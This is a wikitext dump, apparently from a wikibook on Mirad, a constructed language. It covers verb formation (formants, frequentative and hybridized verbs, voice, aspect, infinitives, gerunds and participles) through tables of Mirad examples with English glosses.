| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>1mr2erlkqoeati8vbo8e7xod3rrtm8g</sha1>
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    <revision>
      <id>4670512</id>
      <parentid>4670511</parentid>
      <timestamp>2026-09-16T21:53:07Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing Near Actions with yub- */</comment>
      <origin>4670512</origin>
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      <text bytes="142879" sha1="h6idwjvhjgtn89udfbgzrl40xq0hyhb" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
